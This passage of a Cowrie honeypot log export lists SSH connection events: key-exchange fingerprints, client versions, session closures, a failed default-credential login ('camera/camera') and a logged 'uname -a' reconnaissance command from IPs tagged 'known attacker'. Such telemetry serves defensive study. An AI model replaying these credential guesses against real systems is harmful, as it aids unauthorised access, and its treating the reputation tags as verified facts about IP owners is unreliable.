"t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
21909	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:26.44013+03	2021-09-20 14:15:04.252613+03	{"_id": "cgXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "495db464133b", "@version": "1", "timestamp": "2021-09-20T11:06:26.440130Z", "@timestamp": "2021-09-20T11:06:26.440Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21911	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:26.504407+03	2021-09-20 14:15:04.255612+03	{"_id": "dAXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "1d00d8c31a3b", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:26.504407Z", "@timestamp": "2021-09-20T11:06:26.504Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21912	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:26.557106+03	2021-09-20 14:15:04.256613+03	{"_id": "dQXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "fc8a78d51290", "@version": "1", "duration": 3.0179245471954346, "timestamp": "2021-09-20T11:06:26.557106Z", "@timestamp": "2021-09-20T11:06:26.557Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21913	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:06:26.691999+03	2021-09-20 14:15:04.258613+03	{"_id": "dgXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [camera/camera] failed", "session": "e63a7fa3aa45", "@version": "1", "password": "camera", "username": "camera", "timestamp": "2021-09-20T11:06:26.691999Z", "@timestamp": "2021-09-20T11:06:26.691Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
21914	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:26.69509+03	2021-09-20 14:15:04.259612+03	{"_id": "dwXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "9354f792962c", "@version": "1", "timestamp": "2021-09-20T11:06:26.695090Z", "@timestamp": "2021-09-20T11:06:26.695Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21915	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:26.820606+03	2021-09-20 14:15:04.260612+03	{"_id": "eAXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "bsd-aarch64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.session.params", "message": [], "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:26.820606Z", "@timestamp": "2021-09-20T11:06:26.820Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
21916	223.241.247.214	109.199.241.180	Cowrie	2021-09-20 14:06:26.821156+03	2021-09-20 14:15:04.261614+03	{"_id": "eQXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "223.241.247.214", "asn": 4134, "as_org": "Chinanet", "latitude": 31.8642, "location": {"lat": 31.8642, "lon": 117.2865}, "timezone": "Asia/Shanghai", "longitude": 117.2865, "region_code": "AH", "region_name": "Anhui", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "uname -a", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "223.241.247.214", "eventid": "cowrie.command.input", "message": "CMD: uname -a", "session": "93a2eacc7d8b", "@version": "1", "timestamp": "2021-09-20T11:06:26.821156Z", "@timestamp": "2021-09-20T11:06:26.821Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
21917	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:26.823036+03	2021-09-20 14:15:04.262612+03	{"_id": "egXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "1d00d8c31a3b", "@version": "1", "timestamp": "2021-09-20T11:06:26.823036Z", "@timestamp": "2021-09-20T11:06:26.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
21918	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:26.826113+03	2021-09-20 14:15:04.263612+03	{"_id": "ewXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "157a4ae18a99", "@version": "1", "duration": 2.470952272415161, "timestamp": "2021-09-20T11:06:26.826113Z", "@timestamp": "2021-09-20T11:06:26.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21919	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:26.826713+03	2021-09-20 14:15:04.264613+03	{"_id": "fAXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3449431e51cd", "@version": "1", "duration": 2.637608766555786, "timestamp": "2021-09-20T11:06:26.826713Z", "@timestamp": "2021-09-20T11:06:26.826Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
21920	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:26.828233+03	2021-09-20 14:15:04.265612+03	{"_id": "fQXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "d4888ec67dea", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:26.828233Z", "@timestamp": "2021-09-20T11:06:26.828Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21921	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:26.89597+03	2021-09-20 14:15:04.26663+03	{"_id": "fgXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7b9f95ac7c28", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:26.895970Z", "@timestamp": "2021-09-20T11:06:26.895Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21922	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:26.975261+03	2021-09-20 14:15:04.267614+03	{"_id": "fwXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "18ce36227242", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:26.975261Z", "@timestamp": "2021-09-20T11:06:26.975Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
21923	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:27.056465+03	2021-09-20 14:15:04.269613+03	{"_id": "gAXiAnwBvYTbRNuEwP4Z", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: 